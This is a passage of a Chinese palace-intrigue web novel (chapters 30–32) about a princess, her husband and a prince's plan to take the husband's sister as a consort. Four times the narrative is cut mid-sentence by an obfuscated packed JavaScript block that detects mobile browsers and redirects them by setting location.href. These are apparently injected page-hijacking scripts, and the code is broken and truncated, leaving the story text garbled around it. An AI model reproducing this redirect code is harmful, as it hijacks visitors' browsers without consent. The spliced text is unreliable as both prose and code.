徐氏轻摇了摇头,继续谦逊道:“公主纯善直爽,才易为人嫉妒。妾只恨自己人微言轻,父亲年迈昏聩,兄弟亦无长进,远不如王妃姐姐的父家显赫,能报答公主与驸马的恩惠。” 她果然提到高慈,同霞不觉心内暗叹,顺着她道:“你有此心便足可令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847430|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我宽慰了。我知道,高慈素性骄傲,你时常是受委屈的。我答应你,我好歹是她的长辈,若今后她再为难你,我必定护着你。” 徐氏闻言将帷帘撩起,神情感动得几欲落泪,又要下拜,被同霞拦住,只得连声谢恩。 同霞总归将样子做足,请她一道坐去小案前,又亲自与她斟茶,“你今日来得突然,我不及准备,只有一杯茶招待你了。”看见方才高黛送来的频婆粮尚不及收起,正在茶壶旁,索性道: “这是频婆果晾干后的果脯,叫做频婆粮,是驸马家乡的民间小食,是驸马的妹妹亲手所做,你若不嫌,请尝尝吧。” 徐氏自然乐意,这时终于将帷帽摘下,饮了茶,拿了一块果脯送入口中,“妾只知频婆果多产于燕地,不料还能这样吃,也更好吃了。”细细品味,又笑道: “驸马的妹妹如此巧手,想来是位蕙心纨质的佳人。” “嗯,她是很好。”同霞随口应道。 * 徐妃离去后,同霞便一直坐在案前,时而捧腮凝眸,时又伏案闭目,没有再唤稚柳陪伴,独自捱到了日暮。 她心中明朗,因为徐妃的示好,原本就是她所乐见的。她不想看到高家牢不可破,但高齐光于高氏的助力,难免于她掣肘。若能借徐妃之宠挑动高慈的嫉恨,内宅之争未必不能功在大计,且也是高齐光一个外臣无法盘算之处。 然而她也迷茫,一味在高齐光面前表现得淡薄无争,一味将心思用在了揣摩他的心思上,除了得知他仕途顺利,愈得重用,并没有让自己得到好处。 她为什么会变成这样?因为遇到的人是他,就无法掌握自己的心了?她也无法掌握他的心就是了——她浪费了这一年的光阴,却又不敢承认自己情窦初开,近乎于泥足深陷。 煎水作冰般可笑,正是她这样。 想到此处,她的唇角已不自觉地牵动,以至于恍然发觉那人已站在面前,丝丝笑意竟不及收敛,“你回来了怎么也不作声?” “你呢?一个人笑什么?”齐光走到她身前蹲下来,温和一笑,瞥见仍旧摆在案上的频婆粮,一盘中整齐铺排,只略少了几块,“是不喜欢么?那以后还是吃糖,或直接吃果子吧。” 同霞亦垂目望去,当即便拿起一个放进了嘴里,“没有不喜欢,只是阿黛姐姐送来之后,便恰有客到。” 同霞自然是要借机开口,而齐光也同她起初一样好奇,一样只想到是萧遮,“是许王来了?他又说了什么?” 同霞笑了笑:“不是他,你放心,他再也不会告你的状了。”见他面露窘迫,方直言道:“来的是徐妃。” “她?”齐光果也大为意外,“是肃王之意?” 大约他也觉得若是肃王再有传话,也不必遣宠妃前来,是以问得并不自信。同霞心中了然,含笑又道: “她是来探望我的。虽是匪夷所思,但她离开王府,肃王肯定知晓。其实,我与她也不熟,说来说去便只七郎的婚事可说。但我问她,你那夜去过后,肃王有无宽心,她却也不大清楚。” 齐光点了点头,稍解疑惑的神色,“那天晚上,肃王也是问了些裴家的事,他知道我与裴尚书有些旧故。”坐到同霞身侧,揽持住她的身子,又道: “但我上回去裴府拜贺,裴尚书对我的态度已尽人皆知,肃王便也没有为难。不过,我也转达了你交代的话,想必肃王能够理解。” 同霞果然没能从他口中探出那夜更多的消息,但也不能判定其中虚实,心底略感无奈,想想问道:“裴昂那般,是明摆着要与高琰为敌,你不过是代高琰受过,可觉得委屈?” 齐光摇头一笑,抚了抚她的脸颊,道:“我是你的驸马,有公主护我,我岂有委屈?” 他说得真好,真是完美的回答。 30.素齿结朱 知晓礼部卜定的大婚之期就在三月十五,萧遮闷闷不乐。 他不是君父的长子,更不是嫡子,母亲也没有高贵的出身和显赫的家族,他深知自己只是一个寻常不过的皇子,前面的六个哥哥,哪一个都比他强。 但不知从何时开始,什么都不争反而成了他的错处。甚至渐渐能看懂,君父的种种抬举,无形中已让他成为众矢之的。这桩婚事更是加剧了他窘迫的处境。 他的岳丈是寒士出身的清流文臣,如今也算是朝中的寒臣领袖了。单从这点说来,裴家的出身与他的出身,倒也算般配。 只不过,那位素昧平生的裴氏小女,因皇帝隐晦的心意,因父亲炙热的仕途,骤然成为了他的王妃,又会不会感到惊慌?甚或是对命运的幽怨,对他的苦恨。 “对不起,我也没有办法。” 他喃喃自语,不料却有人回应:“大王说什么?” 他脸色一红,转头看见只是董静,恼烦道:“谁叫你进来了?” 董静大概明白他最近的心情,只赔笑道:“大王恕罪,是娘娘遣人传话叫大王入宫,臣才不得已搅扰大王的。” 母亲常年行事低调,自他出阁,至今还是第一回传见,问道:“为什么事传我?”不待董静回答,又道:“难道陛下改主意了,不叫我同裴家结亲了?” 董静闻言倒吸了口气,只忙沉声劝道:“大王小声些吧,娘娘没有明说何事,大王去了便知!” 萧遮略感失落,又白了他两眼,终究一叹:“替我更衣。” * 萧遮心中闷滞,又觉不是急事,等到了母亲的承香殿,已过了近一个时辰。他也不要宫人通传,一面往内殿去,一面就自己扬声: “阿娘,我来了!有没有好吃的?上次给我小姑姑的频婆果糖还有么?我稍待再给她……送……” 呼唤间已踏入内殿,但猛一抬眼,所见情形只叫他瞬间尴尬到了极致。座上不只有母亲,还有一个粉衫双鬟的女孩子,因他不慎的放浪,此刻也震惊地望着他。 “真是胡闹!”赵德妃也觉羞愧,忙过来将萧遮拽住,小声低斥,又不得不顾及此间气氛,皱眉一笑,看向那女子道: “那就是裴尚书之女裴涓。今夜皇后娘娘赐宴命妇官眷,娘便先请了她过来,让你们见见。” 萧遮原还难堪垂首,听见她的身份,复又一惊,脸上不觉发热。然而不及他反应,裴涓反先提裙移步,端庄地向他拜了一礼: “妾裴涓见过大王。” 萧遮只觉自己的心跳没过了她的声音,半晌才僵硬地唤了她起来,“……不必多礼。” 德妃从未见过儿子这般情状,好笑又无奈,但终归算是过来之人,没有不懂。缓了缓,牵起裴涓,送了萧遮跟前,笑道: “陛下既已为你们赐婚,你们就是夫妻了。涓儿,你不必拘束,你看他来我这里,也是一点规矩都没有的。” 裴涓面露羞色,眼睛虽不敢抬,余光已不自禁瞥向萧遮,“谢娘娘厚爱,妾知道了。” 德妃含笑点头,不再多说,暗暗推了萧遮一把,便带着殿中本就寥寥的宫人离开了。 萧遮这才松了口气,却也不知说什么,两手在身后交握,硬着头皮走到了一旁坐席,“你,也过来坐吧。” 裴涓低头称“是”,但相随过去,又只站在他面前,并不就坐。萧遮抬眼见状,刚沾茵席,也站了起来,“那我们就站着说话吧。”抿嘴打量着,又道:“反正我不累,你呢?” 裴涓略显惊讶,手指捻着裙褶,缓缓摇头:“妾也不累。” 她手上细微的动作分明透着紧张,萧遮生出一丝不忍,又想到近来心中反复琢磨的事,不禁问道: “你不用怕我,我记得册妃制书上写的你是十六岁,与我一样。你平时在家都喜欢做什么?” 他语态温和,举动也是有意体贴,裴涓也渐渐松弛下来,低眉浅笑道:“妾没有所长,不拘做什么,虚度而已。” 萧遮点点头:“我也一样,那你喜欢吃什么?吃不吃糖?” “糖?”裴涓忽想起他进殿时自顾说的那些话,小心问道:“大王如此问,可是因为安喜长公主素来爱糖?” 萧遮不防被她问住,眼睛一圆,但想来他和姑姑要好,这些事都是尽人皆知,不算稀奇,“嗯,她虽是长辈,算来年纪还比我小几个月,又一向体弱,我便时常牵挂。” 裴涓越发觉得萧遮与印象中的贵胄王孙不同,含笑道:“妾知道了,今后也会和大王一样,多关心长公主的。” “可你还没有说你喜欢吃什么呢?”萧遮却是认真起来。 不知是他不解意,还是自己会错了意,裴涓只好如实答道:“回大王,妾喜欢玉露团。” * 德妃将承香殿让给那一对小夫妻后,想起皇后设宴虽要到晚上,现在定也有女眷提前进了宫,而她身为妃嫔之首也该早去请安,协理杂务,便携带一二得力宫婢,往甘露殿而去。 到时,果见有几家命妇正自廊下告退出来,心中了然,叫了守殿宫人进去通传。不待片时,便有皇后内官罗兴迎了出来,德妃依礼而入,一见皇后却还未曾盛装穿戴。 皇后照常受了德妃的礼,听明了她的来意,却半晌没了下文,只不时指点内臣安排宴会之事。德妃见皇后如此繁忙,倒也不好打断,只得默然侍立一旁。 忽有一小内侍从殿外进来,似乎跑了许久,喘急禀道:“臣才已去了昭行坊驸马家中传了皇后娘娘的话,但长公主说是不曾痊愈,请娘娘恕罪,今夜就不来了。” 皇后听罢皱眉摇了摇头,道:“她这个病究竟要闹多久?眼看正月都要过了,接连宫宴请她,她都不来,陛下也总是来问。你瞧见她了?她还是不能起身?” 内侍回道:“长公主是坐在榻下见臣的,只是屋里仍是药气熏绕的,公主也未施妆,瞧着是不大有精神。” 皇后仍是摇头,颇觉无奈,眼睛瞥到一旁的德妃,忽问道:“德妃,你说呢?七郎不是同安喜要好么?安喜久病,他去看过没有?” 德妃既无法避讳这件尽人皆知的事,忖度皇后的神情,也知她是话中有话,淡笑道: “七郎自然是去过的,给公主带了些新鲜口味的糖。公主从小体弱多病,并非她所愿,实在也让人心疼。但想来有皇后娘娘频频关怀,等时气回暖,公主一定会痊愈的。” 皇后似乎满意这个回答,先遣开了传信内侍,却是哼笑一声,道:“你就是很会说话——什么话都被你说了去。你们母子既然如此疼爱安喜,知她的心,懂她的意,当初陛下叫你抚养她,人都送到你殿里了,你怎么又送到我这里来?” 这桩旧故提起来,由不得德妃脸色一白。 当年她谦辞此事,不过是为低调自保,向皇后示好。多年过去,就算皇后不信她有心,从来也没有明言指摘。如今当面质问,除了积怨,大约也有七郎婚事的缘故。 她强作镇定道:“长公主毕竟是先帝血胤,妾出身低微,实在不能教养公主。名不正言不顺,既不利于公主成长,更恐有伤陛下圣德。皇后娘娘坤道禀柔,慈德昭彰,才担得起母仪之责。” 奉承讨好的话,高玉身为皇后,自是不绝于耳。但此情此景看着德妃,她脑中愈发想起的却只是过去二十年来,德妃如何得宠 ,从一个掖庭女官步步做到了一品皇妃。 高玉虽从不担心她能欺到自己头上,但这些往事总是令她嫌恶,令她难以忘怀,于是缓缓又道: “你出身是不高,但如今也是陛下亲封的德妃,我之下就是你了。况且,你还有七郎这个儿子,不必把自己说得那么委屈——你已经是当朝宰辅的亲家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861109|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这还不够么?” 一笑又道:“再者说,安喜的生母不过区区宫婢,比你可差远了,你如何就不能抚养宫婢之女了?难道你其实并非自卑,而是讨厌安喜出身低微,会让人记起你的过去,耻笑你,也轻贱七郎不成?” 德妃终于明白,皇后从她进来起就是刻意冷落,她也并没猜错,果是因为七郎婚事引起的风波。可她没有办法,二十年来都是忍过,如今也只有低头,下跪道: “娘娘息怒,妾说的都是真心话,没有,也不敢有别的心思。妾有今日,是娘娘宽善,七郎能够成人,也是仰赖娘娘照拂。娘娘是七郎的嫡母,又有谁敢轻贱他呢?” 皇后不料她竟还能把话说得这样周全,只是再加上一味低眉顺眼的姿态,反显得是有意狡辩。便又冷冷地哼了一声,道: “你少在这里装腔作势!你以为我不知,你已传召裴氏入宫?你若真有敬畏之心,真当我是七郎嫡母,岂敢背地擅传新妇,更不教新妇先来见我?!” “娘娘!”皇后怒火无端无凭到了这个地步,德妃也觉强忍无用,只好抬起头来解释,“妾原是要说的,只是娘娘先问起公主,妾还未及提到。妾是想……” “皇后娘娘!” 只说了半句,却见一人骤然闯入殿内高呼一声。众人皆未料及,惊惶看去,竟见是大内官陈仲。 陈仲跟随皇帝,自然不会无故到此,此刻看过殿内情形,无奈急叹,向皇后礼罢,便将德妃从地上扶了起来,告道:“请皇后娘娘恕臣无礼,陛下要召见德妃。” 皇后这才回过神来,看了眼殿门,不由倒吸了口气,又要不失仪态,强撑着无声点了点头。 陈仲于是再拜告退,搀扶德妃又匆匆离去。 * 到了殿外,德妃仍旧惊慌未除,正欲询问,陈仲却只摇头,将她引往了不远处的步廊。还未到跟前时,她已认出,廊下站立的身影正是天子。 她忖度方才情形,近前下拜也多添了几分小心,可皇帝只是极快将她扶起,关切问道:“若是朕不来,你打算怎么办?” 德妃只觉心酸,低头道:“妾会和皇后好好解释的,陛下如此做,只恐皇后更生误会。” 皇帝岂不知后宫是怎样情状,愈觉德妃委曲求全是无用,说道:“你的性子过于软弱,就算朕封了你德妃,你也不知该如何坐这一品之位。方才的话,朕都听见了,皇后浮而不实,朕这些年也是太放纵她了!” 皇帝语带恼怒,德妃忙又要告罪,被皇帝拦下,又听道:“朕的意思是,你没有必要对皇后逆来顺受,宫中再是尊卑有别,难道朕的眼下,还不是王法之地?” 德妃一时不知如何,轻叹了声,道:“皇后毕竟是皇后,妾心里是敬她的,素日行事也知分寸,就算皇后斥责,也是一时之气。” 皇帝却摇了摇头,极目远处,又冷笑一声:“皇后和她的兄长一样,不知餍足,朕看他们高家……” 皇帝并没有再说得更清楚,但眼中的寒意已令人不敢直视。德妃静待了半晌,试着劝道: “如今虽已立了春,风还是冷的,陛下不要在此久站,还是早些回紫宸殿安置吧?” 皇帝却是展颜一笑,牵起德妃的手,和声道:“七郎和他的王妃不是在承香殿么?朕也随你去见一见他们,看看这裴氏小女究竟配不配得上七郎。” 虽是好事,德妃竟不敢应承,“裴氏很是知礼,听说字也写得很好,倒是七郎还有些莽撞。妾传见裴氏,也是为了叫七郎先熟悉些,不至于成婚那日闹出笑话。若陛下骤然……” 皇帝看透她是心有余悸,打断道:“朕意已决。”又转向陈仲吩咐道:“今夜,朕就在承香殿用膳。” 今夜是皇后设宴女眷,虽不必皇帝亲临,德妃和裴涓却都该列到。但事已至此,德妃也再无多说的余地。 31.裂玉残金 皇后如何奚落德妃,德妃和她尚未礼成的儿妇又为何没有列席那日的晚宴,此等宫闱之事在次日就已不胫而走,越过宫墙,穿梭门楼,成为了命妇间的笑谈。 而同霞更是由奉命送糖而来的董静亲口告知了当时的详情。 她没有想到,自己几次三番托病婉拒皇后的邀请,竟能造成这样的后果。她简直找不出话来形容,但心底已不自禁地生出了久违的欢欣——这或许是上天给她指点的新机会。 “高琰一定会设法补救,公主以为,他会如何对策?”董静走后,稚柳看同霞一直含笑不言,心中难免猜测。 同霞却根本没去想高琰,笑道:“虽说皇后冷落德妃是常事,却从没有这样撕破脸的。我倒恨自己不在场,否则帮着德妃演上一出,定叫她人仰马翻!” 稚柳自能体会有多痛快,也笑道:“许王的婚事一定,高家自是不快,肃王有驸马调和,高琰城府极深,也不会显露,他们大约是忘了宫里还有皇后了!” 同霞愈觉有趣,口中啧啧:“其实,我也险些忘了皇后了。”挽住稚柳到身边,又慨叹道: “姐姐,你觉不觉得,我先前都用错了力?我虽是公主,于朝事却不便插手。那日徐妃过来,我便已想过,其实这后宅之争十分可用,后宫也是一样。” 稚柳想来说道:“女子之事确实便于着手,但没有先前的动作,公主也不能洞察,总是有迹可循的,不算用错了力。” 同霞嘻嘻一笑,在她肩头蹭着脸颊,缓缓又道:“那我们就先看看高琰的动作。我也要好好想想,该给他们送什么贺礼。” 事关大计,时辰也已向晚,不防高齐光何时到家,主仆至此便不再多言。同霞翻开新送来的糖盒,只见还是频婆果的糖,随意吃了两块,交给稚柳,叫她与李固去吃。 稚柳含笑收下,想她今天难得愉悦,或许胃口也觉好些,便问道:“公主晚膳想吃什么?要不要添一道葱醋鸡?” 同霞起身伸了伸胳膊,果然也觉通身舒爽,忖度片时,点了头:“好,那我试一试。” 稚柳欣然应下,转身就去,谁知一抬头,忽见驸马立于门下,却在门槛外,并不踏进来。他一向或是说着话进门,或者不愿惊扰公主,就驻足片时,全不似今天这样。 像是走神,又像是思虑重重,太过入神。 “你做什么站在那里?”同霞也已发觉异样,一面走去相迎,一面示意稚柳照常出去。 齐光到她靠近方动了动步子,但目光却追随稚柳离去,缓而才转了回来,淡淡一笑: “你的气色已好了许多,看来真是痊愈了。只不过冬天还是过去了,不会再下雪了,我答应你垒雪人的事,只能再等一年了。” 同霞自然记得这事,但那时他眼中只有期许,此刻听来却莫名像是遗憾,勉强,或者也可说是无奈。她弄不清,只点头道:“那就等一年,这有什么呢?” 齐光看出她面上浅显的疑惑,携她入内坐下,又道:“你和稚柳刚刚在做什么?好像很高兴。” 她的大计自不能说,皇后的事,他想必也已听闻,却也不能让他发觉自己在幸灾乐祸,略一思索,只道: “董静今天又来给我送糖了。他说德妃娘娘昨日传见了裴氏,七郎初见王妃,竟然彼此相谈甚欢。我就觉得好笑,还没见过七郎同女孩子相处呢。” “原来这样,许王婚期不远,若能与王妃投契,确是好事。”齐光舒眉一笑,眼睛低去,却忽从袖下抽出一卷文书,递给同霞,“我也有件好事要告诉你,你看看。” 同霞好奇接过,只觉这卷文书的纸张并不寻常,白背全不透墨,待解开系绑的绸绳,才展开一角,已能见金花纹样——金花纸是朝廷用以书写任官制书的专门纸张。 从知晓他的任职即将变动,到如今吏部的岁考已定,果然也是到时候了——御史台,侍御史。 但乍一看到这样的任命,同霞却一恍然,捏住纸缘的手指一紧,险将纸张戳破。 “怎么了?”齐光微觉诧异,看她脸色,转又一笑,“侍御史是从六品,直学士是正六品,你是不是觉得,不升反降,并不算好事?” 同霞抬起脸来,呼吸之间已趋平静,也笑道:“你说这话就是当我真傻了——御史台监察百官,肃正朝纲,就是陛下也管得,岂能只看品阶?” 将制书卷好仍还到他手里,又道:“也正因为他们职权特殊,担任御史的人才从不兼任别职。这一点,你随便叫个宫人问一问,想必也是知道的。” 又不等齐光接口,再三说道:“只不过,当时陛下免了你的许王师,我还好奇,到底什么官职能与许王师冲突呢?如今知道是御史,才算明白过来。 ” 她一句接一句,似自证一般,可齐光并没急着插话,这时才认同地点了点头,说道: “侍御史可算得清要之职,但陛下委以此任,大约也有爱护你的意思。以后再也不会有人胆敢无端弹劾于你。” 他担任御史,虽令同霞意外,但他如何当上这个御史,那日萧遮在他们面前已说得透彻。这不过是皇帝和高琰之间一个不可言说的交易,他为什么又要扯到她的头上? 无端弹劾是她自己所为,他不可能察觉什么。或者这样的说法只是高琰为交易顺利而替皇帝想出的一个理由,他此刻便借花献佛,再用来平息她刚刚提到的“好奇”。 脑中迅速地捋清思绪,她只是无所谓地笑笑,道:“陛下虽然爱重于我,却与朝事分得清楚,才不会混为一谈。我看,就是因为你出身进士,又做过五六年的学官,履历适配罢了。” 她说完便起身去到妆台,随手捻起一柄玉梳,对着铜镜掠了掠鬓发。齐光注目于她,她也从镜中望见他的眼睛,缓缓一笑: “御史清要向来是读书人羡慕的官职,多有文官从此起仕,一路官运通达。这么好的事,你也说是好事,怎么我看你也并不大欢喜?” “因为……”齐光似沉吟,音调拖得低长,忽也起身来到她身侧,拿过她手中的玉梳,替她理起青丝,“因为,我还有一桩难事。” 同霞只是从他进门至此的表现推想,并无一定的把握,谁知他如此直白,只好依他去问:“什么事?” 齐光就将这柄玉梳斜插入她的发髻,牵着她的手,调正了她的身子。她满是疑惑的眼睛仍然澄澈而坦荡,可他自己的眉心却已攒成了一道深痕: “方才回来路上,肃王遣人与我传话。他说,肃王知晓我尚有一个妹妹在身边,听闻蕙心纨质,肃王有倾慕之意,欲纳为侧妃。他要我尽快问过妹妹心意,呈上庚帖。” 一字一句清晰如斯,字字句句却又联成同霞无法明白的意思,不!是太过明白,一瞬曝露无遗—— 高齐光的家状上,三代名讳写得一清二楚,萧迁不会到今天才想起他有一个妹妹,而“蕙心纨质”的说辞,才是一切的关键。它出自徐妃之口,是因为同霞无意间用那盘频婆粮招待她,才随口提到了一句“驸马的妹妹”。 然而,高齐光从进门起的故布疑阵,连任官制书都成了一桩铺垫,竟是为了名正言顺地向她提出质疑,甚至是审问。质疑她是不是向肃王提起过高黛,审问她是不是想要不动声色地扫除他光明正大隐匿在身边的情人! 眼看她的脸色褪成了一片惨白,齐光心中慌促,却又看不懂她眼中逼出的泪意,“霞儿,你说话,怎么了?” 同霞已攥得骨节发青的手极力从他掌中挣脱,步步后退,直至撞在窗台,“这话应该我问你!你这般惺惺作态,不就是想知道,肃王对高黛的心思,是不是我在推波助澜?” 齐光浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孤臣昧死不是勇,人心不足才是蠢。高齐光,你千万不要以为,这世上不论何事,都可以这么简单地了断。” 齐光百骸一震,不及思索,只见她的手从自己颌下扬起,拔下了他亲手插戴在她发间的玉梳,狠狠摔在地上。 玉裂金残,此景便如此情。 * 宵禁的鼓声传至昭行坊之前,同霞离开了小宅。稚柳并不知她要往何处,只听她交代李固驾车北行,忖度不定问道: “公主是要进宫,还是回公主府?” 同霞早已平静,脸色也像是无事般安稳,闻言一笑,又过了半晌方回她:“徐妃,我高看她了。” 稚柳不料她心思在此,惊讶之余倒也能明白几分:“她倒有容人的气度,不怕分宠,竟会向肃王举荐女子。” 徐氏的亲近示好之心,同霞除了看出她是想借势对抗高慈,也曾猜测其中有肃王的拉拢。但如今肃王忽然看中了高黛,这必然只能是徐氏的巧思。 她一定是看肃王与高齐光愈加亲近,想做个顺水人情,既能显得她贤德大度,也能给高慈一击,更可以当做报还高齐光对肃王的辅佐,加固其忠诚。 只是这份巧思,肃王竟真的当做了巧思——竟想不到,高齐光毕竟是高琰一手提拔的人,高琰都没有用联姻约束门徒的忠心,如此浅薄的心机若为高琰所知,难道还会有什么好处么? 高齐光没有好处,他萧迁,一个别无所依的皇子也不会有丝毫的好处。 “萧迁太过急躁了,可高齐光若只是依照高琰的吩咐,居中安抚,又怎么值得萧迁如此笼络?” 同霞像是喃喃自语,稚柳也无法回答这个问题,只又问道:“那公主现在要去哪里?” “去太平坊。” 32.云雨无凭 肃王孺人徐氏阁中,未至掌灯,已落下重重帘幕。屏障深围的壶门榻上,红浪阵阵,春情百转,许久方歇。 “大王是嫌妾没有尽心么?”徐氏仍余微喘,却见枕畔人眉心攒聚,并非欢悦的样子。 肃王萧迁侧目一笑,抬手将她额上粉汗缓缓拭去,说道:“你不尽心,还有谁尽心?”拢她入怀,复道:“只是单你尽心,那个悍妇却愚不可及,孤也恐一日要先受池鱼之殃。” 徐氏这才明白他的思虑,柔声又道:“皇后的事,毕竟止于后宫,陛下也并没有明旨。想必许国公此刻也急,虽无法插手宫闱事务,总也要另辟蹊径补救的。” 萧迁揉搓着她的柔夷,牵到唇边轻吻,笑叹道:“高琰急的是他们高氏的富贵,孤的前程只是他的谋权的手段。孤看他还不如你,能想到让高齐光送上他的妹妹。” 徐氏羞惭低头,颊畔升起红晕,“妾是妇人,只能想到这些女人的事。妾是看大王与高驸马投缘,长公主也很受陛下宠爱,他们若能有所助益,大王也可多一重心安。” 多一重?萧迁可并不想要原本那一重。 他想起了那夜灯下,高齐光以手蘸水在案上写下的那个字。这一字,足可以令他相信高齐光的诚意,但要说是一体同心,却还缺少一些效忠的表示。 将这不可宣口的绝密悄然隐下,萧迁只又将手探入她的腰腹间纠缠起来,待她神思驰荡,嘤咛敛眉,心中才稍觉快意,“你只管保养身子,再为孤多生几个孩子,任凭新人无数,在孤心中,也越不过你。” 眼看飞云散落,又入春梦,一声传报却猝然横入: “大王,安喜长公主来了。” * 去太平坊,去肃王府。 同霞从听明白高齐光的话音后便已决定如此。高齐光想要保护他的情人,而同霞也不能让此事肆意发酵。 这桩婚姻,夫妻情分本就是聊胜于无的点缀。重要的是,高齐光的不忠并不足以一鼓作气毁灭高氏。而于她而言,有些清白生来便没有,可有些清白,生死都不容玷污。 思及此,她的内心愈加踏实,王府内侍奉上的琉璃茶盏,清透可以鉴人,但不及她看清自己的面貌,肃王便已来了。 “小姑姑怎么这时候,一个人来了?” 他面露惊喜,却并不掩饰真实的意图,同霞也含笑迎去,免了他的礼,开门见山:“你说为什么?我是来找你算账的!你一句话可把驸马吓得不轻,他又不敢驳你,正在家里打转呢。” 萧迁自然明白她所指,一时无底,只好问道:“他毕竟是我的姑丈,我有话直说,他也可有话直说,怕?这从何说起呢。” 同霞轻哼了声,道:“你真当他只是姑丈,又哪有求娶姑丈妹妹的道理?就算这些姻亲的辈分不必理论,但议婚之前,总也要问问人家有没有定亲吧?” 萧迁略感惊讶:“高家娘子已有婚约?” 事到临头才提起来,他自然不信,但同霞也已想定说辞,道:“那人名叫秦非,是驸马在清河郡家乡的同窗,因两家交好,便约了儿女婚姻。那时高黛尚年幼,总要等成年完婚,但男家数年前迁居外地,一时就失了联系。所幸去岁到了繁京,消息也灵通些,已经在北边寻到了人,大约不出今年就可团聚的。” 她说得有头有尾,姓名籍属也煞有介事,萧迁倒寻不出破绽,略忖度又问:“姑姑也是才知道此事么?” 同霞料他还有下文,抿笑摇头:“我与驸马成婚时便知道了。我看她也到议婚的年纪,又生得很好,就想做媒,可问起来才知她已有了亲事,就罢了。” 萧迁觉得新鲜,笑道:“那姑姑是想给七郎做媒么?” 同霞却作神秘状,先遣开了堂内婢仆,方低声道:“那时陛下已叫礼部为七郎议婚了,我可做不了主。我想的是高惑。他亲事未定,而且驸马本是高家提携,纵然原本的门第低些,高琰看在我的份上,大约也不会拒绝。” 萧迁的笑意渐渐僵住,勉强弯了弯唇,道:“高惑只是高家的庶子,至今也不见高琰为他谋官,想来就算高娘子未许人,驸马也不大愿意吧?” 这话自然是他的掩饰之言。同霞深知,一旦自己将高黛与高家扯上一层关联,萧迁必会警惕。否则,他也根本不会用联姻来拉拢高齐光。即使同霞现在也并不知道是什么事值得他如此无所顾忌,但他与高氏的隔阂总是真切存在的。 同霞于是皱眉摇头,更作高深,道:“我同驸马说了高惑,谁知他却很惊奇,说我竟然想得这么巧。原来早在兖州时,高琰问起驸马家中情形,得知他还有一个妹妹,便说家中幼子尚未定亲,与高黛正好年貌相配。之后也是知道高黛有婚约才罢了,就索性与驸马结了宗。” 高琰究竟有没有想过与驸马结亲,萧迁不可求证,但那位尚未见人的秦非却更加虚无缥缈。他只能选择在意高琰的心意。 片刻的沉默后,萧迁果然挥手一笑,道:“哎呀,这是我考虑不周了。我就是看驸马仪表堂堂,想象他的妹妹一定也是品貌出众,便生了倾慕之心。现在知道高娘子已有婚事,也是无缘。” 同霞点点头,道:“这就好了,今后你与驸马见面,倒不要为此尴尬,他也是敬你的,才会如此不安。” 虽似了事,仍未了言,一笑又道:“其实依我想来,高黛再是品貌出众,也不如你身边的徐氏温婉解意,我反倒更喜欢她。她有福气,为你生了长子——只不过,我还以为陛下会趁熙郎周岁给他赐爵,不知是不是陛下忘了。下回我入宫,就去和陛下提一提。” 话端转到徐氏身上,萧迁不算意外,但听到最后,却掩不住一惊:“姑姑,向陛下讨要封爵……这……” 同霞满不在意道:“这怎么能是讨爵呢?陛下不知道多钟爱这个皇长孙!你放心,我去说,陛下恼也恼不到你身上。” 幼子封爵,于此时的大势自然是求之不得助益,萧迁再也抑制不住心动,拱手一拜,连声称谢。 同霞欣然将他扶起,不再多言,只在心中默想:用这样的办法祛除他所剩不多的疑心,其实并非他以为的慷慨,因为凡有好处,便有代价。 * 高齐光已预料到自己的报应,但事情猝然发生,仍有摧枯拉朽之力。一座没有精锐护卫的孤垒,本已松动的城门,原也是不攻自破的。 这个她再也不会回来的小院里,他独自枯坐檐下。那些已经逝去的缱绻长夜,云髻罢梳,蝉钗惊落,即使当时也不觉只是寻常,毕竟也成了他的罪过。 他不止一次地想过,他多么希望她不是一个公主,他们就是一对寻常的夫妻。他以小吏微薄的俸禄供养他们的一日三餐,尚有盈余便带她去买新糖;她会因他偶然的繁忙,面含微嗔地埋怨他失于陪伴,他便会装病告假,挤出一日陪她满城游逛;不久之后,他们就会迎来一个孩子,长得像她一样漂亮,开口就问他们要糖,他却只哄孩子吃糖坏牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879734|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将所有的糖都藏在她的枕下…… 一样的长夜,就这样过去。 天际露出浑浊的灰白,却有一双脚步慢慢朝他挪近,“这件事,你不用管。”他不必去看,既知其人,也知其意。 